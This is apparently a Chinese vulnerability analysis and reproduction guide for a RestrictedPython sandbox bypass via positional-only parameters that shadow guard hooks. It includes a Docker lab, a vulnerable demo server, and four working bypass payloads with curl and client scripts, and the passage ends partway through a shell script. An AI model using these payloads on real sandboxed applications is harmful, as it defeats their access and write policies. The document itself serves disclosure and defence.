一个 `/` 引发的沙箱失守：CVE-2026-55830 RestrictedPython 策略绕过——从复现到字节码的完整剖析
Python 3.8 的 PEP 570 给函数签名引入了 positional-only 参数（`/` 语法），AST 上对应一个新字段 `posonlyargs`。RestrictedPython 的名字校验器 `check_function_argument_names()` 逐字段枚举检查了普通参数、`*args`、`**kwargs`、keyword-only 参数——唯独漏了这个新字段
漏洞类型：沙箱访问策略绕过（逻辑漏洞，CWE-184：Incomplete List of Disallowed Inputs）
影响组件：zopefoundation/RestrictedPython（pip 包RestrictedPython）< 8.3，修复版本8.3
修复提交：3737596ec9f28c34a073cc845bd2f4c0a80cb671
CVSS 3.1：8.3 (HIGH)，AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L
官方公告：GHSA-ffg3-p8fm-mjx2 ｜ NVD
TL;DR
Python 3.8 的 PEP 570 给函数签名引入了 positional-only 参数（/ 语法），AST 上对应一个新字段 posonlyargs。RestrictedPython 的名字校验器 check_function_argument_names() 逐字段枚举检查了普通参数、*args、**kwargs、keyword-only 参数——唯独漏了这个新字段。
于是这样一行代码就能绕过整个沙箱的访问策略：
def f(o, _getattr_=lambda obj, name: "shadowed", /):
return o.xRestrictedPython 的 transformer 会把 o.x 改写为 _getattr_(o, 'x')。这个注入的 _getattr_ 是一个裸 ast.Name，完全遵守 Python 的 LEGB 作用域解析。而攻击者通过 positional-only 参数在局部作用域建立了一个同名绑定——局部优先于全局，受信 guard 从此被架空：
- 8.2 实测：
f(O()) -> 'shadowed'，策略 hook 调用次数为 0； - 8.3 修复：同样的源码在编译期被拒绝：
SyntaxError: Line 2: "_getattr_" is an invalid variable name because it starts with "_"。
修复只有 3 行代码——把 posonlyargs 加进校验循环。
但这不是"又漏了一个字段"这么简单。这篇文章想讲清楚三件事：
- 怎么复现：从一行 PoC 到 Docker 双版本对照的端到端复现环境（16 项判定全 PASS）。第 2 节自包含全部配置、服务端、PoC 与判定脚本，不需要任何外部仓库；
- 为什么会这样：编译管线、guard 注入、
ast.arg与ast.Name的类型差异、LEGB 解析，一路下探到 CPython 3.12 字节码的LOAD_GLOBAL → LOAD_FAST支配证据； - 怎么举一反三：不止
_getattr_——用 CodeQL 找出 transformer 注入的全部 9 个内部 guard 名，逐一验证同型遮蔽。
范围声明：本文所有端到端后果均在自建的最小模拟应用（非真实产品）中验证；官方公告提到的 pickle 串联 RCE 属于依赖具体嵌入实现的条件性风险，本文不验证、不声称。详见第 7 节的边界讨论。
1. 背景：RestrictedPython 的安全模型
1.1 "先重写 AST，再 compile"
RestrictedPython 的核心思路是：在把不可信源码交给内置 compile() 之前，先用一个 ast.NodeTransformer 做安全检查和改写。所有公开编译入口最终汇聚到 _compile_restricted_mode()：
以下是 8.2 的关键路径（依据源码整理的等价片段，注释为本文补注）：
def _compile_restricted_mode(
source,
filename='<string>',
mode="exec",
flags=0,
dont_inherit=False,
policy=RestrictingNodeTransformer):
byte_code = None
collected_errors = []
collected_warnings = []
used_names = {}
if policy is None:
# policy=None 时直接调用内置 compile，不进行受限转换
byte_code = compile(source, filename, mode=mode, flags=flags,
dont_inherit=dont_inherit)
elif issubclass(policy, RestrictingNodeTransformer):
c_ast = None
if not issubclass(type(source), (str, ast.Module)):
raise TypeError('Not allowed source type: ...')
if isinstance(source, ast.Module):
c_ast = source
else:
try:
c_ast = ast.parse(source, filename, mode)
except (TypeError, ValueError) as e:
collected_errors.append(str(e))
except SyntaxError as v:
collected_errors.append(syntax_error_template.format(...))
if c_ast:
policy_instance = policy(
collected_errors, collected_warnings, used_names)
policy_instance.visit(c_ast) # 校验与改写发生在这里
if not collected_errors: # 有安全错误就不生成字节码
byte_code = compile(c_ast, filename, mode=mode)
else:
raise TypeError('Unallowed policy provided for RestrictedPython')
return CompileResult(
byte_code, tuple(collected_errors), collected_warnings, used_names)关键点：安全检查发生在 visit() 阶段，而不是编译之后。transformer 一边收集错误（self.error()），一边把"允许但敏感"的操作改写成 guard hook 调用。只有 errors 为空，AST 才能进入内置 compile()。这个 transformer 就是整条管线的安全闸门——它的漏洞就是沙箱的漏洞。
1.2 Guard hook：把策略外包给嵌入方
RestrictedPython 自己不定义任何访问策略。它只负责把敏感语法路由给嵌入应用提供的 hook 函数：
敏感语法 | 改写结果 | 依赖的 hook |
|
| 属性读取策略 |
|
| 下标读取策略 |
|
| 写保护策略 |
|
| 打印策略 |
|
| 迭代控制 |
（print(s) 一行是两步改写的合成结果：visit_Name 先把 print 换成 _print._call_print，inject_print_collector 再在函数/模块开头注入赋值 _print = _print_(_getattr_)。两步的完整代码见 3.3 节——P4 打的正是这条链。）
典型用法是：嵌入方把受信 guard 放进 safe_globals 派生的沙箱命名空间，然后 exec(compiled.code, sandbox)。沙箱的安全边界就是这些 hook 背后的策略逻辑。
1.3 整个模型踩着两条不变量
8.2 源码里有两处注释，暴露了这套实现依赖的安全假设：
gen_tmp_name的注释直言："check_nameensures that no variable is prefixed with_. => Its safe to use_tmp..as a temporary variable."- 也就是说，transformer 大胆地以裸
ast.Name引用注入 guard 名，其信任前提是：用户代码永远不可能建立_前缀的名字绑定。
- S1（名字约束）：用户源码中不得出现
_前缀的名字绑定； - S2（信任推论）：因此 transformer 注入的
_getattr_等裸名字，运行时只会解析到嵌入方注入的受信全局。
S1 由 check_name() 在各类"绑定点"上维护：赋值目标、函数名、类名、import 别名、except as 名、函数参数……只要有一个绑定点漏检，S2 就整体崩塌。而 check_function_argument_names() 恰恰漏了一个。
2. 复现篇：从一行 PoC 到端到端（照抄即可复现）
本节自包含全部文件。目标目录结构如下（先建好骨架，后面逐步填入内容）：
cve-2026-55830-lab/
├── docker-compose.yml # 双版本服务编排（方案 A）
├── Dockerfile
├── verify.sh # 一键复现入口（第 2.6 节）
├── client.py # HTTP 判定客户端（第 2.6 节）
└── app/
├── sandbox_server.py # 模拟嵌入应用（第 2.3 节）
├── poc_local.py # 库级 PoC（第 2.2 节）
├── requirements-rp8.2.txt
└── requirements-rp8.3.txt2.1 第一步：环境准备（三选一）
方案 A：Docker 双版本对照（推荐）
app/requirements-rp8.2.txt（wheel 哈希锁定，防依赖漂移）：
RestrictedPython==8.2 \
--hash=sha256:6ff69e2fe06674bfe88943f17f2ce8353a9bc743ee37ea7bec38ff8b4851afd1app/requirements-rp8.3.txt：
RestrictedPython==8.3 \
--hash=sha256:de36a9b27ad4490a368984984751179e5fc28e2b49540dc348878e5c0e79d737Dockerfile（基础镜像 digest 锁定在 2026-09-01 的 python:3.12-slim；要换最新 tag，可先 docker pull python:3.12-slim 再用 docker image inspect python:3.12-slim --format '{{index .RepoDigests 0}}' 重新取 digest）：
ARG BASE_IMAGE=python@sha256:e5c9fa26ffb76e11e0f054f30dc2523a2f9693f0c36c0cf1e39b27e152d899fc
# ^ == python:3.12-slim (digest pinned for reproducibility)
FROM ${BASE_IMAGE}
# 安装哪个版本：8.2（未修复）或 8.3（已修复）
ARG RP_VERSION=8.2
# 哈希校验安装（RestrictedPython 无传递运行时依赖）
COPY app/requirements-rp8.2.txt app/requirements-rp8.3.txt /tmp/
RUN pip install --no-cache-dir --disable-pip-version-check \
--require-hashes -r "/tmp/requirements-rp${RP_VERSION}.txt" \
&& rm -f /tmp/requirements-rp*.txt \
&& python -c "import RestrictedPython, importlib.metadata; \
print('RestrictedPython', importlib.metadata.version('RestrictedPython'), 'OK')"
# 非 root 运行
RUN useradd --create-home --shell /usr/sbin/nologin sandbox
WORKDIR /srv
COPY app/sandbox_server.py /srv/sandbox_server.py
COPY app/poc_local.py /srv/poc_local.py
USER sandbox
EXPOSE 8000
HEALTHCHECK --interval=5s --timeout=3s --start-period=5s --retries=24 \
CMD python -c "import sys,urllib.request; \
sys.exit(0 if urllib.request.urlopen('http://127.0.0.1:8000/health', timeout=2).status == 200 else 1)"
CMD ["python", "/srv/sandbox_server.py"]docker-compose.yml：
services:
# 未修复沙箱：RestrictedPython 8.2（受 CVE-2026-55830 影响）
sandbox-vuln:
build:
context: .
dockerfile: Dockerfile
args:
RP_VERSION: "8.2"
image: cve-2026-55830/sandbox:rp8.2
container_name: cve-2026-55830-vuln
ports:
- "${VULN_PORT:-8020}:8000"
restart: unless-stopped
# 已修复沙箱：RestrictedPython 8.3（用于并排对照）
sandbox-fixed:
build:
context: .
dockerfile: Dockerfile
args:
RP_VERSION: "8.3"
image: cve-2026-55830/sandbox:rp8.3
container_name: cve-2026-55830-fixed
ports:
- "${FIXED_PORT:-8021}:8000"
restart: unless-stopped端口被占用时，可用环境变量覆盖：VULN_PORT=9020 FIXED_PORT=9021 docker compose up -d --build。
启动：
docker compose up -d --build服务 | 容器 | 端口 | RestrictedPython |
|
| 8020 | 8.2（未修复） |
|
| 8021 | 8.3（已修复） |
两个容器都锁定在 python:3.12-slim（容器内 Python 3.12.14）。健康检查通过后：
curl -s http://127.0.0.1:8020/health
# {"status": "ok", "restrictedpython": "8.2", "python": "3.12.14", ...}
curl -s http://127.0.0.1:8021/health
# {"status": "ok", "restrictedpython": "8.3", "python": "3.12.14", ...}方案 B：本地双 venv（不用 Docker）
python3 -m venv venv-8.2 && venv-8.2/bin/pip install RestrictedPython==8.2
python3 -m venv venv-8.3 && venv-8.3/bin/pip install RestrictedPython==8.3
# 各起一个沙箱服务（第 2.3 节的 sandbox_server.py 支持端口覆盖）
SANDBOX_PORT=8020 venv-8.2/bin/python app/sandbox_server.py &
SANDBOX_PORT=8021 venv-8.3/bin/python app/sandbox_server.py &
# 库级 PoC 直接在两个 venv 里跑
venv-8.2/bin/python app/poc_local.py # 预期 VULNERABLE (exit 0)
venv-8.3/bin/python app/poc_local.py # 预期 PATCHED (exit 2)方案 C：源码快照 + PYTHONPATH（供第 3、4 节的原理脚本使用）
git clone https://github.com/zopefoundation/RestrictedPython.git rp-src-8.2
git -C rp-src-8.2 checkout 163cca0b # 8.2（"Preparing release 8.2"）
git clone https://github.com/zopefoundation/RestrictedPython.git rp-src-8.3
git -C rp-src-8.3 checkout c2250bd7 # 8.3（"Prepare release 8.3 ..."）
# 之后所有脚本都可用 PYTHONPATH 指向源码运行，例如：
PYTHONPATH=rp-src-8.2/src python3 ast_dump.py源码快照与 pip wheel 内容一致；锁定 commit 是为了让任何人重跑都得到逐字节一致的结果。
2.2 第二步：库级 PoC（官方场景）
先看官方 GHSA 公告给出的最小闭环。app/poc_local.py 完整内容如下——恶意源码、受信 hook、沙箱注入、判定条件全部齐活：
#!/usr/bin/env python3
"""CVE-2026-55830 -- 库级 PoC（源自官方 GHSA-ffg3-p8fm-mjx2 公告）。
不经过 HTTP，直接验证 RestrictedPython 库本身的行为：
* 未修复版本（<= 8.2）：恶意 positional-only 参数 `_getattr_` 通过编译并
遮蔽应用注入的策略 hook（输出 "shadowed"，策略调用记录为空）。
* 已修复版本（>= 8.3）：compile_restricted 在编译期抛出 SyntaxError 拒绝。
退出码：0 = 漏洞存在（VULNERABLE）；2 = 已修复（PATCHED）；1 = 行为异常。
"""
import importlib.metadata
import sys
from RestrictedPython import compile_restricted
from RestrictedPython.Guards import safe_globals, safer_getattr
RP_VERSION = importlib.metadata.version("RestrictedPython")
calls = []
def policy_getattr(obj, name, default=None):
calls.append(name) # 真实的 guard 会记录每一次属性访问
return safer_getattr(obj, name, default)
src = '''
def f(o, _getattr_=lambda obj, name: "shadowed", /):
return o.x
'''
print("RestrictedPython version: %s" % RP_VERSION)
try:
code = compile_restricted(src, "<s>", "exec")
except SyntaxError as exc:
print("compile_restricted raised SyntaxError: %s" % (exc,))
print("VERDICT: PATCHED (guard shadowing is rejected at compile time)")
sys.exit(2)
g = dict(safe_globals)
g["_getattr_"] = policy_getattr
exec(code, g)
class O:
x = "secret"
value = g["f"](O())
print("f(O()) -> %r (policy hook calls: %r)" % (value, calls))
if value == "shadowed" and calls == []:
print("VERDICT: VULNERABLE (policy hook was shadowed, access policy bypassed)")
sys.exit(0)
print("VERDICT: UNEXPECTED behavior -- neither clean bypass nor rejection")
sys.exit(1)一个组件说明：safer_getattr 是库自带的安全 getattr 替代品——拒绝 _ 前缀属性、INSPECT_ATTRIBUTES 受限名，以及 str 上的 format / format_map（safe_builtins['_getattr_'] 的默认值就是它）。policy_getattr 记录完日志后拿它兜底"正常访问"，这是嵌入方的典型姿势：自己的策略套在库提供的安全原语外面。
在两个容器内运行（方案 B/C 则在对应 venv / PYTHONPATH 下运行同一文件）：
docker compose exec -T sandbox-vuln python /srv/poc_local.py # exit 0
docker compose exec -T sandbox-fixed python /srv/poc_local.py # exit 2两个版本的实测输出（容器内真实执行）：
# 8.2
RestrictedPython version: 8.2
f(O()) -> 'shadowed' (policy hook calls: [])
VERDICT: VULNERABLE (policy hook was shadowed, access policy bypassed)
# 8.3
RestrictedPython version: 8.3
compile_restricted raised SyntaxError: ('Line 2: "_getattr_" is an invalid variable name because it starts with "_"',)
VERDICT: PATCHED (guard shadowing is rejected at compile time)（截图来自源码快照 + PYTHONPATH 的等价运行方式，判定逻辑与本节脚本完全相同，仅版本号的读取方式不同。）
注意判定条件的设计：calls == [] 证明的是受信策略 hook 一次都没执行，而不是"读到了 secret"。这个区分后面还会反复出现——它决定了我们能把结论推多远。
2.3 第三步：端到端——把"嵌入应用"建出来
库级 PoC 只证明机制。要观察"策略被绕过之后世界发生了什么"，需要一个依赖 guard hook 实施访问策略的宿主应用。真实产品当然不能拿来打，所以自建一个最小的 HTTP 沙箱服务。它做的事情是真实嵌入方的标准姿势：
- 提供
POST /run，接收{"code": "<python source>"}； - 用
compile_restricted_exec()编译不可信代码（注意签名差异：该入口的 mode 已固定为exec，第三个位置参数是flags，不能像通用入口compile_restricted(source, filename, mode)那样在第三个位置传 mode）； - 构造
safe_globals+ 策略 hook + 业务对象target的沙箱命名空间并exec； - 返回一份纯数据报告（编译错误、执行异常、结果、策略回调日志、对象最终状态）——这些字段就是后面所有判定的观测面。
app/sandbox_server.py 完整内容（仅依赖 Python 标准库 + RestrictedPython；与容器内运行版本的唯一差别是监听地址/端口可用环境变量覆盖，默认值不变，便于方案 B 双开服务）：
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-55830 -- 最小化"嵌入应用"（embedding application）模拟。
模拟 RestrictedPython 的典型生产用法：不受信任的用户通过 HTTP 提交 Python 代码，
应用使用 compile_restricted_exec() 编译后在受限命名空间中执行，并依靠 guard hook
实施访问策略（access policy）：
_getattr_ -- 记录每一次属性读取；拒绝读取属性 `secret`
_getitem_ -- 记录每一次下标读取；拒绝读取键 `"secret"`
_write_ -- policy_write（计数后调用 full_write_guard，拒绝属性写入）
_print_ -- PrintCollector（收集 print 输出）
业务对象 `target` 被注入到沙箱命名空间中：
target.name = "alice" （公开数据）
target.secret = "TOP-SECRET-DATA" （受上述策略保护的数据）
该应用仅用于漏洞复现/演示，不应暴露到不可信网络。代码提交本身即对应
CVE 评分中的 PR:H 前置条件（攻击者已具备向沙箱提交代码的能力）。
"""
import importlib.metadata
import json
import os
import sys
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from RestrictedPython import compile_restricted_exec
from RestrictedPython.Guards import (
full_write_guard,
safe_globals,
safer_getattr,
)
from RestrictedPython.PrintCollector import PrintCollector
HOST = os.environ.get("SANDBOX_HOST", "0.0.0.0")
PORT = int(os.environ.get("SANDBOX_PORT", "8000"))
MAX_BODY_BYTES = 100 * 1024 # 拒绝过大的代码提交
RP_VERSION = importlib.metadata.version("RestrictedPython")
# 受策略保护的属性名 / 下标键
PROTECTED_ATTR = "secret"
class Target:
"""注入沙箱的模拟业务对象。"""
name = "alice"
secret = "TOP-SECRET-DATA"
def build_policy(access_log, write_hook_calls):
"""构造本应用的 guard hook（访问策略）。
write_hook_calls 是一个列表容器：policy_write 每次被调用都先追加一次记录，
再调用 full_write_guard。这样即使 full_write_guard 抛 TypeError，也能保留
"写 hook 确实被调用过"的独立观测。
"""
def policy_getattr(obj, name, default=None):
access_log.append(["getattr", name])
if name == PROTECTED_ATTR:
raise PermissionError(
"policy denied: reading attribute %r" % name)
return safer_getattr(obj, name, default)
def policy_getitem(obj, key):
access_log.append(["getitem", key])
if key == PROTECTED_ATTR:
raise PermissionError(
"policy denied: reading item %r" % key)
return obj[key]
def policy_write(obj):
write_hook_calls.append(1)
return full_write_guard(obj)
return policy_getattr, policy_getitem, policy_write
def execute_untrusted(code_str):
"""编译并执行一段不受信任的代码，返回执行报告（纯数据，可 JSON 序列化）。"""
report = {
"accepted": False, # 代码是否被编译接受并执行
"compile_errors": [],
"compile_warnings": [],
"exec_error": None, # 执行期异常
"result": None, # 沙箱代码中变量 `result` 的值（str 化）
"printed": "", # print 收集到的输出
"access_log": [], # 读类策略 hook（getattr/getitem）的调用记录
"write_hook_calls": 0, # 写 hook（policy_write）的实际调用次数
"target_state": None, # 执行后业务对象的最终状态
}
# ---- 编译期（RestrictedPython 的防线） ----
compiled = compile_restricted_exec(code_str, "<sandbox>")
report["compile_warnings"] = list(compiled.warnings)
if compiled.errors:
report["compile_errors"] = [str(e) for e in compiled.errors]
return report
report["accepted"] = True
# ---- 构造受限命名空间 + 策略 hook ----
access_log = []
write_hook_calls = []
policy_getattr, policy_getitem, policy_write = build_policy(
access_log, write_hook_calls)
sandbox = dict(safe_globals) # {'__builtins__': safe_builtins}
sandbox["_getattr_"] = policy_getattr
sandbox["_getitem_"] = policy_getitem
sandbox["_write_"] = policy_write
sandbox["_print_"] = PrintCollector
sandbox["_getiter_"] = iter
sandbox["target"] = Target()
# ---- 执行期 ----
try:
exec(compiled.code, sandbox)
except Exception as exc: # noqa: BLE001 - 沙箱代码产生的任何异常都要汇报
report["exec_error"] = "%s: %s" % (type(exc).__name__, exc)
collector = sandbox.get("_print")
if isinstance(collector, PrintCollector):
report["printed"] = collector()
if "result" in sandbox:
try:
report["result"] = str(sandbox["result"])
except Exception:
report["result"] = "<unprintable>"
report["access_log"] = access_log
report["write_hook_calls"] = len(write_hook_calls)
report["target_state"] = {
"name": sandbox["target"].name,
"secret": sandbox["target"].secret,
}
return report
class Handler(BaseHTTPRequestHandler):
server_version = "RestrictedPythonSandbox/1.0"
def _send_json(self, obj, status=200):
body = json.dumps(obj, ensure_ascii=False, indent=2).encode("utf-8")
self.send_response(status)
self.send_header("Content-Type", "application/json; charset=utf-8")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def do_GET(self): # noqa: N802 - http.server 命名约定
if self.path == "/health":
self._send_json({
"status": "ok",
"service": "restrictedpython-sandbox",
"restrictedpython": RP_VERSION,
"python": sys.version.split()[0],
"vulnerable_version": "8.2",
"fixed_version": "8.3",
})
elif self.path == "/":
self._send_json({
"usage": "POST /run with JSON body {\"code\": \"<python source>\"}",
"endpoints": {
"GET /health": "service info",
"POST /run": "compile & execute untrusted code in the sandbox",
},
})
else:
self._send_json({"error": "not found"}, status=404)
def do_POST(self): # noqa: N802
if self.path != "/run":
self._send_json({"error": "not found"}, status=404)
return
try:
length = int(self.headers.get("Content-Length", "0"))
except ValueError:
self._send_json({"error": "bad Content-Length"}, status=400)
return
if length <= 0 or length > MAX_BODY_BYTES:
self._send_json(
{"error": "body size must be 1..%d bytes" % MAX_BODY_BYTES},
status=400)
return
try:
payload = json.loads(self.rfile.read(length).decode("utf-8"))
except (UnicodeDecodeError, json.JSONDecodeError) as exc:
self._send_json({"error": "invalid JSON: %s" % exc}, status=400)
return
if not isinstance(payload, dict) or "code" not in payload \
or not isinstance(payload["code"], str):
self._send_json(
{"error": "JSON body must be {\"code\": \"<python source>\"}"},
status=400)
return
report = execute_untrusted(payload["code"])
self._send_json(report)
def log_message(self, fmt, *args): # 精简访问日志
sys.stderr.write("[sandbox] %s\n" % (fmt % args))
def main():
print("[sandbox] RestrictedPython %s on Python %s" % (
RP_VERSION, sys.version.split()[0]), flush=True)
print("[sandbox] listening on http://%s:%d" % (HOST, PORT), flush=True)
ThreadingHTTPServer((HOST, PORT), Handler).serve_forever()
if __name__ == "__main__":
main()2.4 第四步：对照组先行——证明防御"本来是工作的"
做攻击实验之前先立对照组，否则"绕过了"无从谈起。以下 curl 针对 8.2 服务（8020），8.3 服务行为相同：
C1 — 正常读取，策略正常记录：
curl -s -X POST http://127.0.0.1:8020/run \
-H 'Content-Type: application/json' \
-d '{"code":"result = target.name"}'
# accepted=true, result="alice", access_log=[["getattr","name"]]C2 — 直接读受保护属性，被策略拦截：
curl -s -X POST http://127.0.0.1:8020/run \
-H 'Content-Type: application/json' \
-d '{"code":"result = target.secret"}'
# exec_error="PermissionError: policy denied: reading attribute 'secret'"C3 — 不用 posonly 语法的同名遮蔽，编译期拒绝：
curl -s -X POST http://127.0.0.1:8020/run \
-H 'Content-Type: application/json' \
--data @- <<'EOF'
{"code": "def f(o, _getattr_=lambda obj, name: 1):\n return o.secret\nresult = f(target)\n"}
EOF
# accepted=false, compile_errors 含 '"_getattr_" is an invalid variable name ...'C4 — 直接写入，写 hook 生效且拒绝：
curl -s -X POST http://127.0.0.1:8020/run \
-H 'Content-Type: application/json' \
--data @- <<'EOF'
{"code": "result = None\ntarget.name = 'ATTEMPTED-RENAME'\n"}
EOF
# exec_error="TypeError: attribute-less object (assign or del)"
# write_hook_calls=1, target_state.name 仍为 "alice"C3 是最有说服力的对照：同一个攻击想法，只要去掉 /，就被现有校验拦下。这把漏洞精确定位到了 positional-only 这一参数类别。
C4 同时校准了写 hook 计数器：正常写入路径会留下 write_hook_calls == 1，这为后面 P3 的 write_hook_calls == 0 提供了判定基准。
2.5 第五步：攻击组——四个 payload，四类 hook
在 8.2 服务上逐一提交。四个攻击 payload 的完整源码：
# P1：属性读取被改写为 _getattr_(o, "secret")
def f(o, _getattr_=lambda obj, name: "SHADOWED-RETURN", /):
return o.secret
result = f(target)
# P2：下标读取被改写为 _getitem_(o, "secret")
def f(o, _getitem_=lambda obj, key: "SHADOWED-ITEM", /):
return o["secret"]
result = f(target)
# P3：属性写入被改写为 _write_(o).secret = v；lambda 直接返回原对象
def f(o, v, _write_=lambda o: o, /):
o.secret = v
return "write-done"
result = f(target, "PWNED-BY-ATTACKER")
# P4：函数开头注入 _print = _print_(_getattr_)；恶意 _print_ 捕获其实参
out = []
def f(_print_=lambda real_getattr: out.append(str(real_getattr)), /):
try:
print("trigger print machinery")
except Exception:
pass
return out
result = f()提交方式与 C3/C4 相同（JSON 转义换行），以 P1 为例：
curl -s -X POST http://127.0.0.1:8020/run \
-H 'Content-Type: application/json' \
--data @- <<'EOF'
{"code": "def f(o, _getattr_=lambda obj, name: 'SHADOWED-RETURN', /):\n return o.secret\nresult = f(target)\n"}
EOF16 项判定结果（4 对照 + 4 攻击 × 2 版本，全部 PASS）：
ID | 输入意图 | 8.2 实测 | 8.3 实测 |
C1 | 正常读 |
| 同左 |
C2 | 直接读 |
| 同左 |
C3 | 非 posonly 同名遮蔽 | 编译拒绝 | 同左 |
C4 | 直接写 |
| 同左 |
P1 | posonly 遮蔽 |
| 编译拒绝 |
P2 | posonly 遮蔽 |
| 编译拒绝 |
P3 | posonly 遮蔽 |
| 编译拒绝 |
P4 | posonly 遮蔽 | 捕获真实全局 | 编译拒绝 |
几个细节：
- P1/P2 证明了策略失效（hook 零调用、返回攻击者固定值），但不等于读到了
secret的真实值——Target.secret仍是'TOP-SECRET-DATA'。真实信息泄露取决于该 hook 本应返回什么，这是两个不同的命题； - P3 是净增量最明确的一个：
Target.secret被实际改写为'PWNED-BY-ATTACKER'，且写 hook 调用次数为 0（对照 C4 是 1）——完整性破坏直接可观测； - P4 泄露的是受信 hook 对象本身：
_print_(_getattr_)这行注入代码会把真实的全局_getattr_作为实参传进来，被攻击者的 lambda 捕获（返回值中可见<function build_policy.<locals>.policy_getattr at 0x...>）。这是"沙箱内部受信对象句柄"的泄露，后续能做什么取决于该对象的攻击面（print 两步改写的完整机制见 3.3 节；另注意 P4 的判定不要求access_log为空——lambda 内部对out.append的访问仍走真实全局 hook，与"注入点本身零调用"是两回事）； - 8.3 的四项都不是"运行后安全"，而是执行前就被编译闸门拒绝：
P1: Line 1: "_getattr_" is an invalid variable name because it starts with "_"
P2: Line 1: "_getitem_" is an invalid variable name because it starts with "_"
P3: Line 1: "_write_" is an invalid variable name because it starts with "_"
P4: Line 2: "_print_" is an invalid variable name because it starts with "_"2.6 第六步：一键判定（client.py + verify.sh）
手工 curl 之外，把 8 个 payload 的判定条件固化成脚本，任何一步不符合预期即非零退出。
client.py（完整；仅标准库，自动读取 VULN_PORT/FIXED_PORT 环境变量）：
#!/usr/bin/env python3
"""CVE-2026-55830 -- HTTP 判定客户端：8 个 payload × 2 个服务 = 16 项判定。"""
import json
import os
import sys
import urllib.request
SERVICES = [
("vulnerable", os.environ.get("VULN_PORT", "8020")),
("fixed", os.environ.get("FIXED_PORT", "8021")),
]
# (id, code, expect_vuln, expect_fixed) expect_* 返回 (判定, 说明)
PAYLOADS = [
("C1", "result = target.name",
lambda r: (r["accepted"] and r["result"] == "alice"
and ["getattr", "name"] in r["access_log"],
"策略正常记录读取"),
lambda r: (r["accepted"] and r["result"] == "alice"
and ["getattr", "name"] in r["access_log"],
"策略正常记录读取")),
("C2", "result = target.secret",
lambda r: (r["accepted"] and r["exec_error"] is not None
and "PermissionError" in r["exec_error"],
"直接读取被策略拒绝"),
lambda r: (r["accepted"] and r["exec_error"] is not None
and "PermissionError" in r["exec_error"],
"直接读取被策略拒绝")),
("C3", "def f(o, _getattr_=lambda obj, name: 'shadowed'):\n"
" return o.secret\nresult = f(target)\n",
lambda r: (not r["accepted"]
and any('_getattr_' in e for e in r["compile_errors"]),
"非 posonly 同名遮蔽被编译拒绝"),
lambda r: (not r["accepted"]
and any('_getattr_' in e for e in r["compile_errors"]),
"非 posonly 同名遮蔽被编译拒绝")),
("C4", "result = None\ntarget.name = 'ATTEMPTED-RENAME'\n",
lambda r: (r["accepted"] and "TypeError" in (r["exec_error"] or "")
and r["write_hook_calls"] == 1
and r["target_state"]["name"] == "alice",
"直接写入被写 hook 拒绝且状态不变"),
lambda r: (r["accepted"] and "TypeError" in (r["exec_error"] or "")
and r["write_hook_calls"] == 1
and r["target_state"]["name"] == "alice",
"直接写入被写 hook 拒绝且状态不变")),
("P1", "def f(o, _getattr_=lambda obj, name: 'SHADOWED-RETURN', /):\n"
" return o.secret\nresult = f(target)\n",
lambda r: (r["accepted"] and r["result"] == "SHADOWED-RETURN"
and r["access_log"] == [] and r["exec_error"] is None,
"8.2: 返回攻击者值，读 hook 零调用"),
lambda r: (not r["accepted"]
and any('_getattr_' in e for e in r["compile_errors"]),
"8.3: 编译期拒绝")),
("P2", "def f(o, _getitem_=lambda obj, key: 'SHADOWED-ITEM', /):\n"
" return o['secret']\nresult = f(target)\n",
lambda r: (r["accepted"] and r["result"] == "SHADOWED-ITEM"
and r["access_log"] == [] and r["exec_error"] is None,
"8.2: 返回攻击者值，读 hook 零调用"),
lambda r: (not r["accepted"]
and any('_getitem_' in e for e in r["compile_errors"]),
"8.3: 编译期拒绝")),
("P3", "def f(o, v, _write_=lambda o: o, /):\n"
" o.secret = v\n return 'write-done'\n"
"result = f(target, 'PWNED-BY-ATTACKER')\n",
lambda r: (r["accepted"] and r["exec_error"] is None
and r["target_state"]["secret"] == "PWNED-BY-ATTACKER"
and r["write_hook_calls"] == 0,
"8.2: secret 被篡改，写 hook 零调用"),
lambda r: (not r["accepted"]
and any('_write_' in e for e in r["compile_errors"]),
"8.3: 编译期拒绝")),
("P4", "out = []\n"
"def f(_print_=lambda real_getattr: out.append(str(real_getattr)), /):\n"
" try:\n print('trigger print machinery')\n"
" except Exception:\n pass\n return out\n"
"result = f()\n",
lambda r: (r["accepted"] and r["exec_error"] is None
and "policy_getattr" in (r["result"] or ""),
"8.2: 捕获真实 _getattr_ hook 对象"),
lambda r: (not r["accepted"]
and any('_print_' in e for e in r["compile_errors"]),
"8.3: 编译期拒绝")),
]
def run(base, code):
req = urllib.request.Request(
base + "/run", data=json.dumps({"code": code}).encode("utf-8"),
headers={"Content-Type": "application/json"}, method="POST")
with urllib.request.urlopen(req, timeout=15) as resp:
return json.loads(resp.read().decode("utf-8"))
def main():
overall = True
for role, port in SERVICES:
base = "http://127.0.0.1:%s" % port
print("=" * 70)
print("服务: %s (%s)" % (base, role))
for pid, code, expect_vuln, expect_fixed in PAYLOADS:
check = expect_vuln if role == "vulnerable" else expect_fixed
r = run(base, code)
ok, why = check(r)
overall = overall and ok
if not r["accepted"]:
outcome = r["compile_errors"][0]
elif r["exec_error"] is not None:
outcome = r["exec_error"]
else:
outcome = "result=%r | secret=%r | read_hook=%d | write_hook=%d" % (
r["result"], r["target_state"]["secret"],
len(r["access_log"]), r["write_hook_calls"])
print("[%s] %-3s %s" % ("PASS" if ok else "FAIL", pid, outcome[:90]))
print("=" * 70)
print("复现结果: %s" % ("成功（16/16 PASS）" if overall else "失败"))
return 0 if overall else 1
if __name__ == "__main__":
sys.exit(main())verify.sh（完整；构建 → 健康检查 → 库级 PoC → 全部 HTTP 判定，任何一步不符即非零退出）：
#!/usr/bin/env bash
# CVE-2026-55830 -- 一键复现脚本
# 依赖: Docker + Docker Compose、python3、curl
set -euo pipefail
cd "$(dirname "$0")"
PY="${PYTHON:-python3}"
CURL="${CURL:-curl}"
echo "==> [1/4] 构建并启动服务 (docker compose up -d --build)"
docker compose up -d --build
echo "==> [2/4] 等待服务健康检查通过"
ok=0
for i in $(seq 1 60); do
ok=1
for port in "${VULN_PORT:-8020}" "${FIXED_PORT:-8021}"; do
"$CURL" -sf "http://127.0.0.1:${port}/health" >/dev/null || ok=0
done
[ "$ok" = "1" ] && break
sleep 2
done
[ "$ok" = "1" ] || { echo "!! 服务未就绪，查看日志: docker compose logs" >&2; exit 1; }
